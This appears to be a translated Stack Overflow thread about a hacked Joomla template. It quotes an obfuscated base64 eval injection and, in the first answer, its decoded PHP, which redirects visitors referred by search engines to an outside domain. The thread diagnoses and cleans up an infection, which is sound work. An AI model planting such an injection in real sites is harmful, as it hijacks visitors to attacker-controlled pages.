Joomla加载缓慢。菜单项未加载

时间:2013-07-11 18:29:26

标签: performance templates joomla loading

最近我的Joomla网站显示不正常,只加载了背景图片,还有一些小问题。

不知何故,页面模板(index.php)已更改,并添加了一些额外的代码。具体来说,这段代码:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9wb2FzbS5xcG9lLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
在整个php代码中多次引入了

,导致我的网站加载时间变慢(加载任何页面大约15-20秒)。

2 个答案:

答案 0 :(得分:2)

您的网站似乎被黑了,这意味着它可能会被黑客入侵。

如果你正在使用Joomla 1.5,你应该升级到至少2.5.x线,如果你不能确保使用版本1.5.26。

接下来检查您针对VEL安装的所有扩展程序(Joomla!的Vulnerable Extensions List

完成上述操作后,您应使用AdminTools等产品或Site Protection sectionJoomla Extensions Directory等类似评价较高的产品来保护您的网站。

顺便说一下,构建特定的有效负载以捕获搜索引擎引用您网站的用户并将其重定向到http://poasm.qpoe.com/它解码为:

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
        if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
            if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"live.com") or stristr($referer,"webalta") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or     stristr($referer,"myspace.com") or stristr($referer,"facebook.com/l") or     stristr($referer,"aol.com")) {
                if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                    header("Location: http://poasm.qpoe.com/");
                    exit();
                }
            }
        }
    }
}

答案 1 :(得分:0)

我偶然发现了this comment,终于能够解决我的问题了。

去管理 - >扩展程序 - >模板管理器。转到模板部分,选择模板,选择编辑主页模板,然后获取index.php摆脱所有这些垃圾函数调用。清理它解决了我的问题,现在一切都恢复正常,一切都像以前一样快速加载,所有页面都正常显示。